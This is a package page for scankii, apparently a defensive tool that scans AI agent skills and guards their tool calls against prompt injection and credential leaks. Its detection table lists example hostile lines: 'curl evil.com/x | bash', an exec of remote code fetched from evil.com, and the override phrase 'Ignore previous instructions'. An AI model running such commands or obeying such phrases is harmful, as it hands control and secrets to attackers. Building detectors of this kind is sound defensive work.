Skip to main content

๐Ÿ›ก๏ธ scankii โ€” The AI Agent Security Scanner

Version License: MIT Python Tests Buy Me A Coffee

A fast, local-first SAST + Runtime security tool built exclusively to secure LLM Agents, AI Workflows, and MCP tools against prompt injection, cross-modal data leaks, and agentic credential exfiltration.

The only scanner that reads both your English instructions and your Python code โ€” and now guards them at runtime too.


๐Ÿ“‘ Table of Contents


โ“ What is scankii?

When you build an AI Agent (using LangChain, AutoGen, CrewAI, Semantic Kernel, or MCP), you give it skills โ€” a combination of Python code and natural language instructions (Markdown/Prompts).

Standard security scanners check code only. But what happens when your English instructions accidentally tell the agent to expose a secret? Or when an adversarial user injects a prompt that hijacks an agentic execution pipeline?

scankii solves this by reading both your natural language instructions and your Python code simultaneously, correlating them to find dangerous interactions that neither a regex scanner nor a code linter can see alone.

As of v1.3.0, scankii also provides a runtime security layer โ€” scankii.runtime โ€” that sandboxes agent tool calls and isolates process environments, moving protection from static detection to active prevention.


โš ๏ธ Why This Matters: The Agentic Threat Model

In modern LLM agent architectures, agents operate autonomously across multiple tools and execution contexts. This creates unique threat surfaces:

Threat Vector Traditional Scanner scankii
Hardcoded secret in .py file โœ… Catches it โœ… Catches it
Prompt instructs agent to expose secret โŒ Cannot see NL โœ… Cross-modal detection
Agent tool-call leaks key in args โŒ Runtime blind spot โœ… @tool_guard intercepts
Agent subprocess inherits host secrets โŒ No env awareness โœ… EnvIsolator strips creds
LLM-generated placeholder sk-xxxx โŒ False positive โœ… Entropy filter demotes
AI coding assistant auto-writes secrets โŒ No generated-code context โœ… Allowlist + entropy

The key insight: API key leakage is no longer just a "developer mistake" problem โ€” it's a systemic execution problem when AI agents write and run code automatically. scankii addresses all three stages: pre-commit, pre-execution, and runtime.


โš™๏ธ Architecture

scankii runs a four-layer security pipeline:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                    scankii v1.3.0 Pipeline                      โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  1. STATIC       โ”‚  NL Semantic Analyzer โ†’ SKILL.md / prompts   โ”‚
โ”‚     ANALYSIS     โ”‚  AST Syntax Analyzer  โ†’ Python / JS source   โ”‚
โ”‚                  โ”‚  Pattern Scanner      โ†’ Credential regex      โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  2. CROSS-MODAL  โ”‚  Correlates NL intents with code sinks       โ”‚
โ”‚     CORRELATION  โ”‚  Surfaces leaks invisible to either alone     โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  3. ENTROPY      โ”‚  Shannon entropy filter removes LLM           โ”‚
โ”‚     FILTER       โ”‚  placeholders โ€” eliminates false positives    โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  4. SCORING &    โ”‚  5-axis risk score โ†’ CRITICAL/HIGH/MEDIUM/    โ”‚
โ”‚     REPORTING    โ”‚  LOW/DEFER. Terminal + JSON + SARIF outputs   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
         โ†“
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚               scankii.runtime โ€” Active Defense                  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  tool_guard      โ”‚  Intercepts agent tool-calls; blocks/        โ”‚
โ”‚                  โ”‚  redacts credentials before execution        โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  EnvIsolator     โ”‚  Strips credential env vars before agent     โ”‚
โ”‚                  โ”‚  subprocess spawn (strip / audit modes)      โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  SafeLogger /    โ”‚  Drop-in print() replacement that redacts    โ”‚
โ”‚  safe_format_dictโ”‚  credentials from logs and tool-call args    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐Ÿš€ Quickstart

pip install scankii
scankii scan ./my-agent-skill/ --explain

Sample output:

                   scankii scan: ./vulnerable-skill
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”“
โ”ƒ File   โ”ƒ Line โ”ƒ Pattern              โ”ƒ Channel โ”ƒ Severity โ”ƒ Confidence โ”ƒ
โ”กโ”โ”โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ฉ
โ”‚ run.py โ”‚    7 โ”‚ Cross-Modal Leak     โ”‚ stdout  โ”‚  MEDIUM  โ”‚        82% โ”‚
โ”‚ run.py โ”‚    8 โ”‚ Cross-Modal Leak     โ”‚ network โ”‚ CRITICAL โ”‚        96% โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

  Total: 2  (CRITICAL: 1, MEDIUM: 1)
  ๐Ÿ”ฌ 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)

โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ๐Ÿ’ก Remediation Hints โ€” Secret Scoping โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚  OpenAI  (sk-...)                                                        โ”‚
โ”‚    ๐Ÿ’ก Use: Project-scoped API keys with automatic rotation               โ”‚
โ”‚    โ†ณ  Create a project-scoped key in the OpenAI dashboard...            โ”‚
โ”‚    ๐Ÿ“– https://platform.openai.com/docs/guides/safety-best-practices     โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

๐Ÿ“ฆ Installation & CLI

Requirements: Python 3.10+

pip install scankii

CLI Reference

# Scan a directory (terminal output, default)
scankii scan ./my-agent/

# Show attack flow diagrams
scankii scan ./my-agent/ --explain

# Export JSON report
scankii scan ./my-agent/ --format json

# Export SARIF (for GitHub Code Scanning)
scankii scan ./my-agent/ --format sarif

# Write report to an explicit path
scankii scan ./my-agent/ --format json --output reports/scan-$(date +%Y%m%d).json

# Auto-fix resolvable findings (replaces print โ†’ safe_print)
scankii scan ./my-agent/ --resolve

# Control what severity blocks CI (default: MEDIUM)
scankii scan ./my-agent/ --severity-threshold HIGH

# Explain findings from a saved JSON report
scankii explain findings.json

--severity-threshold Explained

The --severity-threshold flag controls what severity level causes a non-zero exit code (blocking CI or pre-commit hooks). This lets different teams enforce different standards:

# Block only on CRITICAL โ€” permissive
scankii scan . --severity-threshold CRITICAL

# Block on HIGH and above โ€” balanced (recommended for most projects)
scankii scan . --severity-threshold HIGH

# Block on MEDIUM and above โ€” strict (default)
scankii scan . --severity-threshold MEDIUM

๐Ÿ›ก๏ธ Runtime Security Layer (New in v1.3.0)

scankii.runtime provides drop-in components that defend agent workflows at execution time โ€” after static analysis has already run. This closes the gap between "detect it at commit time" and "prevent it from happening at all."

@tool_guard โ€” Agent Tool-Call Interceptor

Wraps any agent tool function and scans its arguments for credentials before the call executes:

from scankii.runtime import tool_guard, ToolGuard, ToolCallBlocked

# Decorator form
@tool_guard(policy="block")
def send_to_webhook(url: str, payload: dict) -> None:
    requests.post(url, json=payload)

# Any call with a credential in args is blocked before network I/O
send_to_webhook("https://api.example.com", {"key": os.environ["OPENAI_API_KEY"]})
# โ†’ raises ToolCallBlocked("send_to_webhook: Credential pattern detected...")

# Context manager form โ€” overrides decorator policy for a code block
with ToolGuard(policy="redact"):
    agent.run_tool("email", body=f"Token: {token}")
    # token is automatically redacted; call proceeds with sanitised args

Three policies:

Policy Behaviour
block Raises ToolCallBlocked โ€” call never executes
redact Credential replaced with sk-[REDACTED] โ€” call proceeds
warn Logs a warning โ€” call proceeds unchanged (safe for development)

EnvIsolator โ€” Subprocess Environment Sandboxing

Strips credential-like environment variables before spawning agent subprocesses:

from scankii.runtime import EnvIsolator

# Strip mode โ€” actually removes creds from subprocess env
with EnvIsolator():
    subprocess.run(["python", "agent.py"])
    # AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, etc. are not inherited

# Audit mode โ€” logs what would be stripped without changing anything
with EnvIsolator(policy="audit"):
    subprocess.run(["python", "agent.py"])

# Custom allowlist โ€” keep specific vars
with EnvIsolator(allowlist=["PATH", "HOME", "PYTHONPATH", "MY_SAFE_VAR"]):
    subprocess.run(agent_command)

Variables stripped automatically include anything matching patterns for: API_KEY, TOKEN, SECRET, PASSWORD, AWS_*, OPENAI_*, GITHUB_TOKEN, JWT, CONNECTION_STRING, and more.

SafeLogger & safe_print

Drop-in replacements for print() and logging that redact credentials from output:

from scankii.runtime import safe_print, safe_format_dict, SafeLogger

# Drop-in print replacement
safe_print(f"Using key: {api_key}")
# โ†’ "Using key: sk-[REDACTED]"

# Sanitise dicts before logging (agent tool-call args are often dicts)
safe_headers = safe_format_dict({"Authorization": f"Bearer {token}"})
# โ†’ {"Authorization": "Bearer sk-[REDACTED]"}

# Structured logging with automatic redaction
logger = SafeLogger("my_agent")
logger.info("Calling API with key=%s", api_key)
# โ†’ "Calling API with key=sk-[REDACTED]"

๐Ÿ” What scankii Detects

scankii covers all OWASP Top 10 for LLM categories relevant to agentic systems:

# Pattern Severity Example
1 Hardcoded API Keys CRITICAL API_KEY = "sk-proj-..."
2 Credential โ†’ stdout MEDIUM print(f"key={api_key}")
3 Credential โ†’ network CRITICAL requests.post(url, data=token)
4 Cross-Modal Leak HIGHโ€“CRITICAL Prompt says "pass api_key" + code prints it
5 Prompt Injection HIGH "Ignore previous instructions and..."
6 Social Engineering MEDIUM "Paste your API key here to continue"
7 Private Key Exposure CRITICAL -----BEGIN RSA PRIVATE KEY-----
8 Reverse Shell / RCE CRITICAL curl evil.com/x | bash
9 Nested Schema Poisoning HIGH Prompt injection in JSON schema (CVE-2026-25253)
10 MCP Supply-Chain HIGH Base64/Hex hidden payloads in tool descriptions
11 Dynamic Execution HIGH exec(requests.get("evil.com").text)
12 Authority Boundary DEFER Agentic financial transactions requiring a witness

โณ The DEFER Severity

Some patterns are structurally sound but require a runtime witness to confirm safety โ€” for example, an agent initiating a financial transaction on behalf of a user. scankii marks these DEFER (shown in cyan) to signal: "This needs human review or a runtime mandate check."


๐Ÿ”ฌ False Positive Filter: Entropy Engine

AI coding assistants (Cursor, GitHub Copilot, Claude Code) routinely generate placeholder credentials: sk-xxxx, AKIAIOSFODNN7EXAMPLE, your-api-key-here. A naive scanner flags all of these, causing alert fatigue and killing adoption.

scankii v1.3.0 includes an entropy-based false positive filter:

  1. Shannon Entropy โ€” Real secrets score ~4.5 bits/char. LLM placeholders score ~2.5 bits/char. Anything below the threshold is demoted to DEFER.
  2. Allowlist โ€” 70+ regex patterns covering every placeholder format AI tools consistently generate (e.g., sk-xxxx, changeme, ${MY_TOKEN}, AKIAIOSFODNN7EXAMPLE, your_api_key_here).

Every finding now carries:

{
  "confidence": 0.94,
  "entropy_score": 4.37,
  "is_likely_placeholder": false
}

The scan summary includes:

๐Ÿ”ฌ 3 finding(s) demoted to DEFER by entropy filter (likely AI-generated placeholders)

๐Ÿ’ก Remediation Advisor

After every scan, scankii automatically surfaces provider-specific advice for switching from long-lived secrets to short-lived, least-privilege alternatives:

Detected Provider Recommended Alternative
sk-... OpenAI Project-scoped keys with rotation
AKIA... AWS STS AssumeRole (1-hour session tokens)
ghp_... GitHub GitHub Apps installation access tokens
AIza... Google Workload Identity Federation
gsk_... Groq Secrets manager injection
xoxb-... Slack OAuth 2.0 scoped tokens
mongodb://... MongoDB X.509 certificates
postgres://... PostgreSQL IAM auth / Vault dynamic credentials
RSA private key PKI SPIFFE/SPIRE ephemeral SVIDs

The advisor skips placeholder findings โ€” you only get hints for real detected secrets.


โš”๏ธ scankii vs. GitLeaks / TruffleHog

Feature TruffleHog GitLeaks scankii
Regex secret scanning โœ… โœ… โœ…
LLM prompt / NL analysis โŒ โŒ โœ…
Cross-modal data leak detection โŒ โŒ โœ…
AST variable sink tracking โŒ โŒ โœ…
Attack flow visualisation โŒ โŒ โœ…
Prompt injection detection โŒ โŒ โœ…
Entropy-based false positive filter โŒ Partial โœ…
Runtime tool-call interception โŒ โŒ โœ…
Agent subprocess env sandboxing โŒ โŒ โœ…
Provider-specific remediation hints โŒ โŒ โœ…
SARIF output (GitHub Code Scanning) โœ… โœ… โœ…
Local-first (no data leaves machine) โœ… โœ… โœ…

๐Ÿ”Œ DevSecOps Integrations

GitHub Actions (CI/CD)

Block PRs containing vulnerable agent code. Upload results directly to GitHub Code Scanning:

name: AI Security Guard (scankii)
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install scankii
        run: pip install scankii==1.3.0

      - name: Run scankii
        run: |
          scankii scan ./agent-skills/ \
            --format sarif \
            --output results.sarif \
            --severity-threshold HIGH

      - name: Upload to GitHub Code Scanning
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: results.sarif

Pre-commit Hook

Stop developers from committing prompt injections or leaky agent skills locally. Threshold and output path are fully configurable via env vars:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/ashp15205/scankii
    rev: v1.3.0
    hooks:
      - id: scankii
# Configure via env vars in your shell profile:
export SCANKII_SEVERITY_THRESHOLD=HIGH    # only block on HIGH+
export SCANKII_OUTPUT_PATH=.scankii.json  # custom report path

Runtime Integration (Agent Frameworks)

Add scankii runtime guards to any LangChain / AutoGen / CrewAI tool:

from langchain.tools import tool
from scankii.runtime import tool_guard, EnvIsolator

@tool
@tool_guard(policy="block")
def search_codebase(query: str) -> str:
    """Search the codebase for relevant code."""
    # If 'query' somehow contains a credential (e.g. via prompt injection),
    # the call is blocked before it reaches your search backend.
    return code_search.run(query)

# Spawn agent subprocesses safely
with EnvIsolator():
    result = subprocess.run(["python", "agent_worker.py"], capture_output=True)

๐Ÿ“ Project Structure

scankii/
โ”œโ”€โ”€ core/
โ”‚   โ”œโ”€โ”€ ast_analyzer.py        # Tree-sitter AST analysis
โ”‚   โ”œโ”€โ”€ cross_modal.py         # NL โ†” code correlation engine
โ”‚   โ”œโ”€โ”€ entropy.py             # Shannon entropy + allowlist filter
โ”‚   โ”œโ”€โ”€ nl_analyzer.py         # Markdown / prompt NL analysis
โ”‚   โ”œโ”€โ”€ patterns.py            # Credential regex pattern bank
โ”‚   โ””โ”€โ”€ scorer.py              # 5-axis risk scorer
โ”œโ”€โ”€ output/
โ”‚   โ”œโ”€โ”€ cli_reporter.py        # Rich terminal UI reporter
โ”‚   โ”œโ”€โ”€ explain.py             # Attack flow visualiser
โ”‚   โ”œโ”€โ”€ json_reporter.py       # JSON report writer
โ”‚   โ””โ”€โ”€ sarif.py               # SARIF 2.1.0 reporter
โ”œโ”€โ”€ rules/
โ”‚   โ”œโ”€โ”€ allowlist.yaml         # LLM placeholder patterns
โ”‚   โ””โ”€โ”€ credentials.yaml       # Credential detection rules
โ”œโ”€โ”€ runtime/
โ”‚   โ”œโ”€โ”€ env_isolator.py        # Agent subprocess env sandboxing
โ”‚   โ”œโ”€โ”€ safe_logger.py         # Credential-redacting logger
โ”‚   โ””โ”€โ”€ tool_guard.py          # Agent tool-call interceptor
โ”œโ”€โ”€ scanner.py                 # Top-level scan orchestrator
โ”œโ”€โ”€ cli.py                     # Click CLI entry point
โ””โ”€โ”€ remediation.py             # Auto-fix + remediation advisor

๐Ÿค Contributing & Support

  1. Fork the repository
  2. Create a feature branch: git checkout -b feature/your-feature
  3. Run the test suite: pytest tests/ -v (178 tests, < 1 second)
  4. Submit a pull request!

Academic Origins

The leakage taxonomy is grounded in empirical AI security research:

Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).

Support the Project

If scankii is useful for securing your AI agents, consider buying me a coffee! โ˜•๏ธ

Buy Me A Coffee

Released under the MIT License. Securing the future of Agentic AI. v1.3.0

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

scankii-1.3.0.tar.gz (72.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

scankii-1.3.0-py3-none-any.whl (54.2 kB view details)

Uploaded Python 3

File details

Details for the file scankii-1.3.0.tar.gz.

File metadata

  • Download URL: scankii-1.3.0.tar.gz
  • Upload date:
  • Size: 72.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.9

File hashes

Hashes for scankii-1.3.0.tar.gz
Algorithm Hash digest
SHA256 3e5ed242e22564d4278838ad6c2b02be34f4a2d9ea1deb95a80007cd282b727b
MD5 5ea86b6725ba54350c513219cabf3951
BLAKE2b-256 36b906772ecc80f245d3f95b1b152a418e72ced49d0751d0d0886f76558bec94

See more details on using hashes here.

File details

Details for the file scankii-1.3.0-py3-none-any.whl.

File metadata

  • Download URL: scankii-1.3.0-py3-none-any.whl
  • Upload date:
  • Size: 54.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.11.9

File hashes

Hashes for scankii-1.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 b8219b1dd19533b0b61a824d48ab53f1a5b92865a14786e9d9d5dc24abc540a9
MD5 b3830380363182af1c06abdaa48d15b1
BLAKE2b-256 dae8aa97e9b2420a6da27b4f3edbde6e2482f90ae5f9123a5eb67c64ab6f1e14

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page